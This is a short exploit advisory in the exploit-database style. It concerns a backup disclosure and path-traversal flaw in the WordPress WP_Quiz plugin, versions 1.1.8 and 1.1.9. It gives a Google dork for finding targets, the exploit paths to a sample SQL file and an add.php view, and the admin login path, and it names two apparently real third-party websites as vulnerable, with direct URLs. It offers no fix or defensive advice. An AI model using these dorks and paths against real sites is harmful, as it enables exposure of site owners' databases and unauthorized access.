################################################################################################# # Exploit Title : WordPress WP_Quiz Plugins 1.1.9 Database Backup Disclosure # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 06/12/2018 # Vendor Homepage : wordpress.org/plugins/wp-quiz/ # Software Download Link : downloads.wordpress.org/plugin/wp-quiz.1.1.9.zip # Tested On : Windows and Linux # Category : WebApps # Version Information : 1.1.8 and 1.1.9 # Exploit Risk : Medium # Google Dorks : inurl:''/wp-content/plugins/wp_quiz/'' # Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ] CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ] CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ] ################################################################################################# # Admin Panel Login Path : /wp-login.php # Exploit : /wp-content/plugins/wp_quiz/sample_data.sql /wp-content/plugins/wp_quiz/views/quiz/add.php ################################################################################################# # Example Vulnerable Sites => [+] intheblackworkshops.com/wp-content/plugins/wp_quiz/sample_data.sql [+] intheblackworkshops.com/wp-content/plugins/wp_quiz/views/quiz/add.php [+] tmegulf.com/wp-content/plugins/wp_quiz/sample_data.sql [+] tmegulf.com/wp-content/plugins/wp_quiz/views/quiz/add.php ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################